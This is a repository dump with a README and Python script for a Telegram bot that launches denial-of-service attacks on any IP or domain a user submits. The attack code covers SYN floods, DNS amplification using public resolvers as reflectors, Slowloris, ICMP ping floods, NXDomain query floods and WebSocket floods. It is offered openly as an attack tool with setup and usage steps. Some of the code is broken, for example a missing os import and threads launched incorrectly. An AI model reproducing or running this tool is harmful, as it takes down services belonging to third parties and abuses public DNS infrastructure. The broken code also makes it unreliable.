├── README.md └── ddos.py /README.md: -------------------------------------------------------------------------------- 1 | ![DDOS](https://www.cloudflare.com/img/learning/ddos/what-is-a-ddos-botnet/ddos-botnet-attack-cropped.png) 2 | --- 3 | 4 | # DDOS-Telegram-BOT 5 | 6 | ## Overview 7 | 8 | This Python script implements an enhanced DDoS (Distributed Denial of Service) attack bot using the Ping of Death method. The bot utilizes the `telebot` library for Telegram integration and executes DDoS attacks via the command-line `ping` utility. 9 | 10 | ## Features 11 | 12 | - Accepts target IP addresses or URLs from users via Telegram messaging. 13 | - Initiates DDoS attacks using the Ping of Death method to overwhelm the target with ICMP echo requests. 14 | - Implements error handling and reporting for better monitoring and feedback. 15 | - Provides a user-friendly interface via Telegram bot commands. 16 | 17 | ## CORE ARMAMENT 18 | 19 | SYN Flood (Layer 4 Tsunami) 20 | TCP connection exhaustion through forged SYN packets 21 | 22 | UDP Amplification (Bandwidth Annihilator) 23 | DNS reflector abuse for 100x traffic multiplication 24 | 25 | HTTP Slowloris (Connection Strangler) 26 | Partial HTTP requests to exhaust server threads 27 | 28 | ICMP Ping Storm (Packet Hurricane) 29 | Traditional ICMP flood with jumbo payloads 30 | 31 | DNS Water Torture (NXDomain Overload) 32 | Randomized subdomain queries to crash resolvers 33 | 34 | WebSocket Armageddon (Layer 7 Apocalypse) 35 | Persistent WS connections with 1MB/s payload bombardment 36 | 37 | ## Prerequisites 38 | 39 | - Python 3.x installed on your system. 40 | - Telegram API token for bot authentication. 41 | - A Telegram account to interact with the bot. 42 | 43 | ## Installation 44 | 45 | 1. Clone the repository to your local machine: 46 | 47 | ```bash 48 | git clone https://github.com/Mustafa1p/DDOS-Telegram-BOT.git 49 | ``` 50 | 51 | 2. Obtain your Telegram API token and replace `YOUR_TOKEN_HERE` in the script with your actual token. 52 | 53 | 3. Set your admin chat ID in the `ADMIN_CHAT_ID` variable to receive error notifications. 54 | 55 | ## Usage 56 | 57 | 1. Start the bot by running the script: 58 | 59 | ```bash 60 | python ddos.py 61 | ``` 62 | 63 | 2. Open Telegram and start a chat with the bot. Use the `/start` command to initiate the bot and follow the instructions to specify the target IP address or URL. 64 | 65 | 3. The bot will initiate the DDoS attack using the Ping of Death method upon receiving the target information. 66 | 67 | ## Contributing 68 | 69 | Contributions are welcome! Please feel free to fork the repository, make changes, and submit pull requests. 70 | 71 | ## License 72 | 73 | This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details. 74 | 75 | --- 76 | 77 | Feel free to customize the README further to include additional information or formatting as needed. 78 | Developer By MUSTAFA IP 79 | -------------------------------------------------------------------------------- /ddos.py: -------------------------------------------------------------------------------- 1 | import telebot 2 | import subprocess 3 | import socket 4 | import sys 5 | import random 6 | import threading 7 | import time 8 | from scapy.all import IP, TCP, UDP, ICMP, send, raw 9 | from telebot import types 10 | 11 | TOKEN = "YOUR_ACTUAL_TOKEN" 12 | ADMIN_CHAT_ID = YOUR_ACTUAL_ID 13 | MAX_PACKETS = 1000000 # Industrial-grade flood volume 14 | 15 | bot = telebot.TeleBot(TOKEN) 16 | user_attacks = {} # {chat_id: {'method': '', 'target': ''}} 17 | 18 | # ===== CYBER WEAPONRY ARSENAL ===== 19 | ATTACK_METHODS = { 20 | "1": "SYN Flood (Layer 4 Tsunami)", 21 | "2": "UDP Amplification (Bandwidth Annihilator)", 22 | "3": "HTTP Slowloris (Connection Strangler)", 23 | "4": "ICMP Ping Storm (Packet Hurricane)", 24 | "5": "DNS Water Torture (NXDomain Overload)", 25 | "6": "WebSocket Armageddon (Layer 7 Apocalypse)" 26 | } 27 | 28 | # ----- RAW PACKET GENERATORS ----- 29 | def syn_flood(target_ip, target_port): 30 | """TCP SYN Flood using raw socket manipulation""" 31 | ip = IP(dst=target_ip) 32 | tcp = TCP(sport=random.randint(1024,65535), dport=target_port, flags="S", 33 | seq=random.randint(0,4294967295), window=64240) 34 | raw_pkt = raw(ip/tcp) 35 | while True: 36 | try: 37 | send(raw_pkt, verbose=0) 38 | except Exception as e: 39 | print(f"SYN Flood Error: {str(e)}", file=sys.stderr) 40 | 41 | def udp_amplification(target, port=53): 42 | """DNS Amplification attack vector""" 43 | dns_servers = ['8.8.8.8', '1.1.1.1'] # Reflector list 44 | payload = bytearray(random.getrandbits(8) for _ in range(1024)) 45 | while True: 46 | try: 47 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 48 | for dns_server in dns_servers: 49 | sock.sendto(payload, (dns_server, port)) 50 | sock.sendto((target[0], port), (dns_server, port)) # Spoofed source 51 | except Exception as e: 52 | print(f"UDP Amp Error: {str(e)}", file=sys.stderr) 53 | 54 | # ----- AIOHTTP-BASED ATTACKS ----- 55 | def slowloris(target): 56 | """Slow HTTP Denial of Service""" 57 | headers = [("User-Agent", "Mozilla/5.0"), ("Connection", "keep-alive")] 58 | while True: 59 | try: 60 | s = socket.socket() 61 | s.connect((target, 80)) 62 | s.send(f"GET / HTTP/1.1\r\nHost: {target}\r\n") 63 | for header in headers: 64 | s.send(f"{header[0]}: {header[1]}\r\n") 65 | time.sleep(10) 66 | except Exception as e: 67 | print(f"Slowloris Error: {str(e)}", file=sys.stderr) 68 | 69 | # ===== COMMAND CENTER ===== 70 | @bot.message_handler(commands=['start']) 71 | def show_attack_menu(message): 72 | markup = types.InlineKeyboardMarkup(row_width=2) 73 | for num, desc in ATTACK_METHODS.items(): 74 | markup.add(types.InlineKeyboardButton( 75 | f"{num}. {desc}", 76 | callback_data=f"attack_{num}") 77 | ) 78 | bot.send_message(message.chat.id, 79 | "⚡ PHREAK'S OFFENSIVE CONTROL PANEL ⚡\n" 80 | "Select attack vector:\n\n" 81 | "1. SYN: TCP connection exhaustion\n" 82 | "2. UDP: Bandwidth amplification\n" 83 | "3. Slowloris: HTTP connection starvation\n" 84 | "4. ICMP: Ping flood overload\n" 85 | "5. DNS: Recursive query bombardment\n" 86 | "6. WS: WebSocket protocol abuse", 87 | parse_mode='HTML', reply_markup=markup) 88 | 89 | @bot.callback_query_handler(func=lambda call: call.data.startswith('attack_')) 90 | def set_attack_method(call): 91 | method_id = call.data.split('_')[1] 92 | user_attacks[call.message.chat.id] = {'method': method_id} 93 | bot.send_message(call.message.chat.id, 94 | f"⛔ {ATTACK_METHODS[method_id]} SELECTED\n" 95 | "Send target IP/Domain:") 96 | 97 | @bot.message_handler(func=lambda m: m.chat.id in user_attacks) 98 | def execute_attack(message): 99 | chat_id = message.chat.id 100 | target = message.text.strip() 101 | 102 | try: 103 | ip = socket.gethostbyname(target) if not is_valid_ip(target) else target 104 | method_id = user_attacks[chat_id]['method'] 105 | 106 | bot.send_message(chat_id, f"🚀 LAUNCHING {ATTACK_METHODS[method_id]} AT {ip}") 107 | 108 | # Multi-threaded attack launch 109 | for _ in range(50): # 50 concurrent threads 110 | threading.Thread(target=attack_switcher(method_id, ip)).start() 111 | 112 | bot.send_message(ADMIN_CHAT_ID, 113 | f"☠️ ATTACK DEPLOYED ☠️\n" 114 | f"Method: {ATTACK_METHODS[method_id]}\n" 115 | f"Target: {ip}\n" 116 | f"Origin: {message.from_user.id}") 117 | 118 | except Exception as e: 119 | bot.send_message(chat_id, f"💥 ERROR: {str(e)}") 120 | print(f"Attack Error: {str(e)}", file=sys.stderr) 121 | 122 | def attack_switcher(method_id, target): 123 | """Return appropriate attack function""" 124 | return { 125 | '1': lambda: syn_flood(target, random.randint(1,65535)), 126 | '2': lambda: udp_amplification(target), 127 | '3': lambda: slowloris(target), 128 | '4': lambda: os.system(f"ping {target} -l 65500 -n 1000000 -w 1"), 129 | '5': lambda: dns_nxdomain_attack(target), 130 | '6': lambda: websocket_apocalypse(target) 131 | }.get(method_id, lambda: None) 132 | 133 | # ----- ADDITIONAL WEAPONS ----- 134 | def dns_nxdomain_attack(target): 135 | """DNS query flood with non-existent domains""" 136 | while True: 137 | random_sub = ''.join(random.choices('abcdefghijklmnopqrstuvwxyz', k=12)) 138 | query = f"{random_sub}.{target}" 139 | subprocess.run(["nslookup", query], stdout=subprocess.DEVNULL) 140 | 141 | def websocket_apocalypse(target): 142 | """WebSocket connection flood""" 143 | from websocket import create_connection 144 | while True: 145 | try: 146 | ws = create_connection(f"ws://{target}/") 147 | ws.send("0"*1024*1024) # 1MB payload 148 | except: 149 | pass 150 | 151 | # ----- UTILITIES ----- 152 | def is_valid_ip(ip): 153 | try: 154 | socket.inet_aton(ip) 155 | return True 156 | except: 157 | return False 158 | 159 | if __name__ == "__main__": 160 | print("DDOS-Telegram-BOT v2") 161 | bot.infinity_polling() 162 | --------------------------------------------------------------------------------